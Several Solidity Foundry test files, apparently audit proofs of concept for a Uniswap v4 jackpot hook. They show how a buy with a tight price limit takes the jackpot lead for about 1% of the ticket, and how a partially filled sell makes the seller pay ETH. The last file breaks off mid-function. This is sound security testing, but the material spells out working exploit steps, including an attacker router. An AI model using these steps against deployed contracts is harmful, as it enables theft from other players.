// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {RektJackpotHook} from "src/RektJackpotHook.sol";
import {RektdToken} from "src/RektdToken.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @dev An exact-input buy whose sqrtPriceLimitX96 sits one notch below the current price trades
/// only a couple of wei through the pool, but RektJackpotHook.afterSwap counts the full requested
/// amount (`grossEthIn = specified`) as the jackpot ticket. The buyer takes the lead for the 1% fee.
contract TicketPriceLimitProofTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for PoolManager;

    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant POOL_FEE = 12_500;
    int24 constant TICK_SPACING = 60;
    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP
        | HookFlags.BEFORE_SWAP_RETURN_DELTA | HookFlags.AFTER_SWAP_RETURN_DELTA;

    address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
    address alice = address(0xA11CE);
    address bob = address(0xB0B);

    PoolManager manager;
    RektdToken token;
    RektJackpotHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new RektdToken();
        hook = _deployHook(manager);
        swapRouter = new PoolSwapTest(manager);
        lpRouter = new PoolModifyLiquidityTest(manager);
        token.approve(address(swapRouter), type(uint256).max);
        token.approve(address(lpRouter), type(uint256).max);
        vm.deal(address(this), 1_000_000 ether);

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: POOL_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);
        lpRouter.modifyLiquidity{value: 10_000 ether}(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 1e21,
                salt: 0
            }),
            ""
        );
    }

    function _deployHook(PoolManager pm) internal returns (RektJackpotHook) {
        bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(pm, OWNER));
        bytes32 initCodeHash = keccak256(creationCode);
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
            );
            if (!HookFlags.matches(predicted, FLAGS)) continue;
            return new RektJackpotHook{salt: bytes32(i)}(pm, OWNER);
        }
        revert("no salt");
    }

    function _buy(uint256 ethIn, uint160 limit, bytes memory hookData) internal returns (BalanceDelta) {
        return swapRouter.swap{value: ethIn}(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -int256(ethIn), sqrtPriceLimitX96: limit}),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            hookData
        );
    }

    function test_priceLimitedExactInputBuy_takesLeadForOnePercentOfTicket() public {
        // Alice builds the jackpot: a 100 ETH buy puts 0.5 ETH in jackpotPool, so minimumTicket is
        // 5% of that = 0.025 ETH, and Alice leads.
        _buy(100 ether, TickMath.MIN_SQRT_PRICE + 1, abi.encode(alice));
        assertEq(hook.currentLeader(), alice);
        uint256 minTicket = hook.minimumTicket();
        assertEq(minTicket, 0.025 ether);

        // Bob submits an exact-input buy of exactly minTicket with a price limit one notch below
        // the current price. The pool can only trade a few wei before it reaches the limit.
        (uint160 sqrtPriceX96,,,) = manager.getSlot0(key.toId());
        uint256 before = address(this).balance;
        BalanceDelta delta = _buy(minTicket, sqrtPriceX96 - 1, abi.encode(bob));
        uint256 bobPaid = before - address(this).balance;
        assertEq(uint256(uint128(-delta.amount0())), bobPaid);

        // Bob paid the 1% hook fee (0.00025 ETH) plus a couple of wei of real trade.
        uint256 ethTraded = bobPaid - minTicket / 100;
        assertLt(ethTraded, minTicket / 1000, "the pool traded less than 0.1% of the ticket");
        assertLt(bobPaid, minTicket, "Bob paid less than the minimum ticket");

        // Expected: a buy whose gross ETH input is below minimumTicket() does not take the lead.
        // Actual: Bob is the leader and the round was extended.
        assertEq(hook.currentLeader(), alice, "a buy below the minimum ticket must not take the lead");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId} from "v4-core/src/types/PoolId.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {RektJackpotHook} from "src/RektJackpotHook.sol";
import {RektdToken} from "src/RektdToken.sol";

/// @dev Minimal router that lets the caller choose sqrtPriceLimitX96. It pays from its own balances
/// (ETH sent with the call, tokens transferred to it beforehand) and keeps what it receives, which
/// is exactly what any self-written router may do: the hook accepts swaps from any router.
contract LimitRouter is IUnlockCallback {
    IPoolManager immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function addLiquidity(PoolKey memory key, int24 lower, int24 upper, int256 liq) external payable {
        manager.unlock(abi.encode(uint8(0), key, lower, upper, liq, SwapParams(false, 0, 0), bytes("")));
    }

    function swap(PoolKey memory key, SwapParams memory p, bytes memory hookData) external payable returns (BalanceDelta d) {
        d = abi.decode(manager.unlock(abi.encode(uint8(1), key, int24(0), int24(0), int256(0), p, hookData)), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (uint8 kind, PoolKey memory key, int24 lower, int24 upper, int256 liq, SwapParams memory p, bytes memory hookData) =
            abi.decode(data, (uint8, PoolKey, int24, int24, int256, SwapParams, bytes));
        BalanceDelta delta;
        if (kind == 0) {
            (delta,) = manager.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, liq, bytes32(0)), "");
        } else {
            delta = manager.swap(key, p, hookData);
        }
        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 amount) private {
        if (amount < 0) {
            uint256 owed = uint256(uint128(-amount));
            if (c.isAddressZero()) {
                manager.settle{value: owed}();
            } else {
                manager.sync(c);
                IERC20(Currency.unwrap(c)).transfer(address(manager), owed);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(c, address(this), uint256(uint128(amount)));
        }
    }

    receive() external payable {}
}

contract TicketBypassTest is Test {
    using StateLibrary for IPoolManager;

    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
    address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
    address alice = address(0xA11CE);
    address attacker = address(0xBAD);

    PoolManager manager;
    RektdToken token;
    RektJackpotHook hook;
    LimitRouter honestRouter;
    LimitRouter attackerRouter;
    PoolKey key;

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new RektdToken();
        hook = _deployHook();
        honestRouter = new LimitRouter(manager);
        attackerRouter = new LimitRouter(manager);
        vm.deal(address(this), 1_000_000 ether);

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);
        token.transfer(address(honestRouter), 1e24);
        honestRouter.addLiquidity{value: 10_000 ether}(
            key, TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1e21
        );
    }

    function _deployHook() internal returns (RektJackpotHook) {
        bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(manager, OWNER));
        bytes32 initCodeHash = keccak256(creationCode);
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
            );
            if ((uint160(predicted) & ((1 << 14) - 1)) != FLAGS) continue;
            return new RektJackpotHook{salt: bytes32(i)}(manager, OWNER);
        }
        revert("no salt");
    }

    /// @notice An exact-input "buy" whose price limit sits one unit below the current price pays the
    /// 1% hook fee plus 1 wei to the pool, yet is judged as a ticket of the full amountSpecified.
    function test_exactInputBuyWithTightPriceLimitTakesTheLeadForOnePercentOfTheTicket() public {
        // Honest player: 10 ETH buy -> jackpot 0.05 ETH, minimumTicket 0.0025 ETH, alice leads.
        honestRouter.swap{value: 10 ether}(
            key, SwapParams(true, -int256(10 ether), TickMath.MIN_SQRT_PRICE + 1), abi.encode(alice)
        );
        assertEq(hook.currentLeader(), alice);
        uint256 minTicket = hook.minimumTicket();
        assertEq(minTicket, 0.0025 ether);

        // Attacker: amountSpecified = -minTicket, but the limit stops the pool after 1 wei.
        (uint160 sqrtPrice,,,) = IPoolManager(address(manager)).getSlot0(PoolId.wrap(keccak256(abi.encode(key))));
        vm.deal(address(attackerRouter), 1 ether);
        uint256 before = address(attackerRouter).balance;
        BalanceDelta d = attackerRouter.swap(
            key, SwapParams(true, -int256(minTicket), sqrtPrice - 1), abi.encode(attacker)
        );
        uint256 spent = before - address(attackerRouter).balance;

        // What the attacker actually paid: 1% of minTicket (0.000025 ETH) + a few wei to the pool.
        assertEq(spent, uint256(uint128(-d.amount0())));
        assertLe(spent, minTicket / 100 + 10, "attacker pays only the fee plus dust");
        assertLt(spent, minTicket, "the attacker's real ETH outlay is below the minimum ticket");

        // The brief: only a buy whose gross ETH input is at least minimumTicket() may take the lead.
        assertEq(hook.currentLeader(), alice, "a buy paying less than minimumTicket took the lead");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {RektJackpotHook} from "src/RektJackpotHook.sol";
import {RektdToken} from "src/RektdToken.sol";

/// @dev Minimal router that lets the caller choose any sqrtPriceLimitX96 (the hook accepts any router).
contract LimitRouter is IUnlockCallback {
    IPoolManager immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData)
        external
        returns (BalanceDelta)
    {
        return abi.decode(manager.unlock(abi.encode(key, params, hookData)), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (PoolKey memory key, SwapParams memory params, bytes memory hookData) =
            abi.decode(data, (PoolKey, SwapParams, bytes));
        BalanceDelta delta = manager.swap(key, params, hookData);
        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 amount) internal {
        if (amount < 0) {
            uint256 owed = uint256(uint128(-amount));
            if (c.isAddressZero()) {
                manager.settle{value: owed}();
            } else {
                manager.sync(c);
                IERC20(Currency.unwrap(c)).transfer(address(manager), owed);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(c, address(this), uint256(uint128(amount)));
        }
    }

    receive() external payable {}
}

/// @notice A buy whose amountSpecified equals minimumTicket() but whose price limit lets the pool fill
/// only 2 wei still takes the lead. The attacker's whole outlay is the 1% hook fee on the nominal amount.
contract TicketPartialFillTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
    address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
    address alice = address(0xA11CE);
    address bob = address(0xB0B);

    PoolManager manager;
    RektdToken token;
    RektJackpotHook hook;
    LimitRouter router;
    PoolModifyLiquidityTest lp;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new RektdToken();
        hook = _deployHook();
        router = new LimitRouter(manager);
        lp = new PoolModifyLiquidityTest(manager);
        token.approve(address(lp), type(uint256).max);
        token.transfer(address(router), 1e24);
        vm.deal(address(this), 1_000_000 ether);
        vm.deal(address(router), 100 ether);
        key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
        manager.initialize(key, SQRT_PRICE_1_1);
        lp.modifyLiquidity{value: 10_000 ether}(
            key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1e21, 0), ""
        );
    }

    function _deployHook() internal returns (RektJackpotHook) {
        bytes memory code = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(manager, OWNER));
        bytes32 h = keccak256(code);
        for (uint256 i = 0; i < 500_000; i++) {
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if ((uint160(p) & ((1 << 14) - 1)) != FLAGS) continue;
            return new RektJackpotHook{salt: bytes32(i)}(manager, OWNER);
        }
        revert("no salt");
    }

    function test_partialFillBuyMustNotTakeTheLead() public {
        // Alice holds the lead with a real 1 ETH buy. Jackpot = 0.005 ETH, minimum ticket = 0.0005 ETH.
        router.swap(key, SwapParams(true, -1 ether, TickMath.MIN_SQRT_PRICE + 1), abi.encode(alice));
        assertEq(hook.currentLeader(), alice);
        uint256 minTicket = hook.minimumTicket();
        assertEq(minTicket, 0.0005 ether);

        // Bob specifies exactly the minimum ticket but caps the price one unit below the current price,
        // so the pool consumes only 2 wei. He pays 2 wei + the 1% fee on the nominal ticket (5e12 wei).
        (uint160 price,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        uint256 before = address(router).balance;
        BalanceDelta d = router.swap(key, SwapParams(true, -int256(minTicket), price - 1), abi.encode(bob));
        uint256 spent = before - address(router).balance;
        assertLt(uint256(uint128(-d.amount0())) + minTicket / 100, minTicket, "gross ETH in is below the ticket");
        assertLt(spent, minTicket / 50, "bob spent under 2% of the ticket");

        // Expected: a buy whose gross ETH input is below minimumTicket() does not take the lead.
        assertEq(hook.currentLeader(), alice, "bob took the lead without paying the ticket");

        // Sanity for the fix: a fully filled minimum ticket still takes the lead.
        router.swap(key, SwapParams(true, -int256(hook.minimumTicket()), TickMath.MIN_SQRT_PRICE + 1), abi.encode(bob));
        assertEq(hook.currentLeader(), bob, "a real minimum ticket takes the lead");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {RektJackpotHook} from "src/RektJackpotHook.sol";
import {RektdToken} from "src/RektdToken.sol";

/// @notice Finding: the jackpot ticket on an exact-input buy is judged on `params.amountSpecified`,
/// the ETH the buyer *asked* to spend, not on the ETH the pool actually took. A buyer who sets
/// `sqrtPriceLimitX96` one unit below the current price has the pool consume ~1 wei, pays only the
/// 1% hook fee on the requested amount, buys (almost) nothing, and still becomes `currentLeader`.
contract TicketPartialFillTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant POOL_FEE = 12_500;
    int24 constant TICK_SPACING = 60;
    uint160 constant FLAGS = uint160(1 << 13) | uint160(1 << 7) | uint160(1 << 6) | uint160(1 << 3) | uint160(1 << 2);
    uint160 constant ALL_FLAGS = (1 << 14) - 1;

    address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
    address alice = address(0xA11CE);
    address bob = address(0xB0B);

    PoolManager manager;
    RektdToken token;
    RektJackpotHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new RektdToken();
        hook = _deployHook(manager);
        swapRouter = new PoolSwapTest(manager);
        lpRouter = new PoolModifyLiquidityTest(manager);
        token.approve(address(swapRouter), type(uint256).max);
        token.approve(address(lpRouter), type(uint256).max);
        vm.deal(address(this), 1_000_000 ether);

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: POOL_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);
        lpRouter.modifyLiquidity{value: 10_000 ether}(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 1e21,
                salt: 0
            }),
            ""
        );
    }

    function _deployHook(PoolManager pm) internal returns (RektJackpotHook) {
        bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(pm, OWNER));
        bytes32 initCodeHash = keccak256(creationCode);
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
            );
            if ((uint160(predicted) & ALL_FLAGS) != FLAGS) continue;
            return new RektJackpotHook{salt: bytes32(i)}(pm, OWNER);
        }
        revert("no salt");
    }

    function _swap(bool zeroForOne, int256 amountSpecified, uint160 limit, bytes memory hookData, uint256 value)
        internal
        returns (BalanceDelta)
    {
        return swapRouter.swap{value: value}(
            key,
            SwapParams({zeroForOne: zeroForOne, amountSpecified: amountSpecified, sqrtPriceLimitX96: limit}),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            hookData
        );
    }

    function _price() internal view returns (uint160 sqrtPriceX96) {
        (sqrtPriceX96,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
    }

    /// @dev Honest play: alice buys 10 ETH of REKTD, jackpot = 0.05 ETH, minimumTicket = 0.0025 ETH.
    /// Attack: bob sends an exact-input "buy" of 0.0025 ETH with a price limit one unit below the
    /// current price. The pool takes ~1 wei of ETH, bob pays the 1% fee on 0.0025 ETH (25e12 wei)
    /// plus that wei, receives essentially no REKTD, and becomes the leader anyway.
    function test_priceLimitedBuyTakesLeadForOnePercentOfTheTicket() public {
        _swap(true, -int256(10 ether), TickMath.MIN_SQRT_PRICE + 1, abi.encode(alice), 10 ether);
        assertEq(hook.currentLeader(), alice);
        uint256 minTicket = hook.minimumTicket();
        assertEq(minTicket, 0.0025 ether);

        uint160 limit = _price() - 1;
        uint256 ethBefore = address(this).balance;
        uint256 tokBefore = token.balanceOf(address(this));

        // A fixed hook may either refuse this partial fill (acceptable: bob does not take the lead)
        // or let it through without awarding the lead. Only the current code awards the lead.
        (bool ok, bytes memory ret) = address(swapRouter).call{value: minTicket}(
            abi.encodeCall(
                PoolSwapTest.swap,
                (
                    key,
                    SwapParams({zeroForOne: true, amountSpecified: -int256(minTicket), sqrtPriceLimitX96: limit}),
                    PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
                    abi.encode(bob)
                )
            )
        );
        if (!ok) {
            assertEq(hook.currentLeader(), alice, "refused swap must leave the leader unchanged");
            return;
        }
        BalanceDelta delta = abi.decode(ret, (BalanceDelta));

        uint256 ethSpent = ethBefore - address(this).balance;
        uint256 tokensBought = token.balanceOf(address(this)) - tokBefore;
        uint256 poolTookEth = uint256(uint128(-delta.amount0()));

        // The pool consumed next to nothing and the buyer got next to nothing: the buyer's whole
        // outlay is about 1% of the ticket (the fee) plus dust.
        assertLe(tokensBought, 10, "almost no REKTD was bought");
        assertLe(ethSpent, minTicket / 2, "buyer paid far less than the ticket");
        assertLt(poolTookEth, minTicket, "actual ETH input is below minimumTicket");
        // Yet the buyer is now the leader. Expected: a buy whose real ETH input is below
        // minimumTicket() must not take the lead.
        assertTrue(hook.currentLeader() != bob, "a buy below the minimum ticket took the lead");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {RektJackpotHook} from "src/RektJackpotHook.sol";
import {RektdToken} from "src/RektdToken.sol";

/// @notice Finding: when ETH is the specified currency the 1% fee is fixed in `beforeSwap` from
/// `params.amountSpecified` (the ETH *requested*), not from the ETH the pool actually moved. On a
/// partially filled exact-output sell the seller receives (filled - 1% of requested); when the fill
/// is below 1% of the request the seller gives REKTD *and pays ETH*. This happens with the default
/// MIN/MAX price limits on the launch's own single-sided pool, where the ETH side is thin.
contract FeeOnRequestedAmountTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant POOL_FEE = 12_500;
    int24 constant TICK_SPACING = 60;
    uint160 constant FLAGS = uint160(1 << 13) | uint160(1 << 7) | uint160(1 << 6) | uint160(1 << 3) | uint160(1 << 2);
    uint160 constant ALL_FLAGS = (1 << 14) - 1;
    address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;

    PoolManager manager;
    RektdToken token;
    RektJackpotHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new RektdToken();
        hook = _deployHook(manager);
        swapRouter = new PoolSwapTest(manager);
        lpRouter = new PoolModifyLiquidityTest(manager);
        token.approve(address(swapRouter), type(uint256).max);
        token.approve(address(lpRouter), type(uint256).max);
        vm.deal(address(this), 1_000 ether);

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: POOL_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);
        // Launch-style seeding: tokens only, in a range entirely below the current tick.
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING), tickUpper: -TICK_SPACING, liquidityDelta: 1e21, salt: 0
            }),
            ""
        );
        assertEq(address(manager).balance, 0, "manager holds no ETH after seeding");
    }

    function _deployHook(PoolManager pm) internal returns (RektJackpotHook) {
        bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(pm, OWNER));
        bytes32 initCodeHash = keccak256(creationCode);
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
            );
            if ((uint160(predicted) & ALL_FLAGS) != FLAGS) continue;
            return new RektJackpotHook{salt: bytes32(i)}(pm, OWNER);
        }
        revert("no salt");
    }

    function _swap(bool zeroForOne, int256 amountSpecified, uint256 value) internal returns (BalanceDelta) {
        return swapRouter.swap{value: value}(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    /// @dev One early buyer puts 0.01 ETH into the pool (0.0099 ETH after the hook fee). A seller then
    /// asks for exactly 1 ETH out with the router's default price limit. The pool can only deliver
    /// the ~0.0099 ETH it holds, but the hook keeps 1% of the *requested* 1 ETH = 0.01 ETH. The
    /// seller hands over REKTD and ends the "sell" with less ETH than before.
    function test_exactOutputSellOnThinPoolMakesSellerPayEth() public {
        _swap(true, -int256(0.01 ether), 0.01 ether);
        uint256 poolEth = address(manager).balance - manager.balanceOf(address(hook), 0);
        assertLt(poolEth, 0.01 ether, "pool holds less than 0.01 ETH");

        uint256 ethBefore = address(this).balance;
        uint256 tokBefore = token.balanceOf(address(this));
        // Value is sent only so the router can settle a negative ETH delta; a correct hook never needs it
        // on a sell and the router refunds whatever is unused. A fixed hook may also refuse the
        // partial fill outright, which is acceptable: the seller then loses nothing.
        (bool ok, bytes memory ret) = address(swapRouter).call{value: 1 ether}(
            abi.encodeCall(
                PoolSwapTest.swap,
                (
                    key,
                    SwapParams({
                        zeroForOne: false, amountSpecified: int256(1 ether), sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
                    }),
                    PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
                    ""
                )
            )
        );
        if (!ok) {
            assertEq(token.balanceOf(address(this)), tokBefore, "refused sell must move no REKTD");
            return;
        }
        BalanceDelta delta = abi.decode(ret, (BalanceDelta));

        uint256 tokensSold = tokBefore - token.balanceOf(address(this));
        assertGt(tokensSold, 0, "the seller did hand over REKTD");
        // Expected: a sell never costs the seller ETH; the hook fee is at most 1% of the ETH the pool
        // actually paid out. Actual: the hook kept 1% of the requested 1 ETH (0.01 ETH) although the
        // pool delivered ~0.0099 ETH, so delta.amount0 is negative and the seller's ETH went down.
        assertGe(delta.amount0(), 0, "seller's ETH delta is negative on a sell");
        assertGe(address(this).balance, ethBefore, "seller lost ETH on a sell");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {RektJackpotHook} from "src/RektJackpotHook.sol";
import {RektdToken} from "src/RektdToken.sol";

/// @dev Minimal router that lets the caller choose any sqrtPriceLimitX96 (the hook accepts any router).
contract LimitRouter is IUnlockCallback {
    IPoolManager immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData)
        external
        returns (BalanceDelta)
    {
        return abi.decode(manager.unlock(abi.encode(key, params, hookData)), (BalanceDelta));
